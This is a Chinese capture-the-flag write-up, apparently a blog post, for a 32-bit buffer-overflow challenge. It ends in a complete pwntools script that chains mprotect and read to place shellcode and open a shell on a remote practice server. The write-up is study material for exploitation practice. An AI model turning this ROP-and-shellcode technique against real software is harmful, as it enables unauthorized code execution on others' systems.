1.checksec +运行

32位/NX保护
2.32位IDA
1.main函数

gets()函数溢出
跟进v4看看偏移

offset=0x38
这个题有些不同,看看调用函数的汇编

该题没有用ebp寻址,用的是esp寻址
也就是说不需要覆盖ebp四字节
这就说明有时候后卡住回去仔细看看汇编
2.get_flag

if ( a1 == 814536271 && a2 == 425138641 )
a1/a2满足条件即可得到flag.txt
跟进a1/a2看一下在的位置

发现在00000000后面,没有办法利用溢出控制程序
此题的预期解应该是利用程序中的mprotect函数
mprotect()函数可参考我另一个博客
Ret2csu Jarvisoj level5_x64_Rt1Text的博客-优快云博客
3.脚本
from pwn import *
elf=ELF('13dsctf2016')
#p=process("./13dsctf2016")
p=remote("node4.buuoj.cn",25007)
pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
payload += p32(mem_addr)
p.sendline(payload)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
1679



被折叠的 条评论
为什么被折叠?



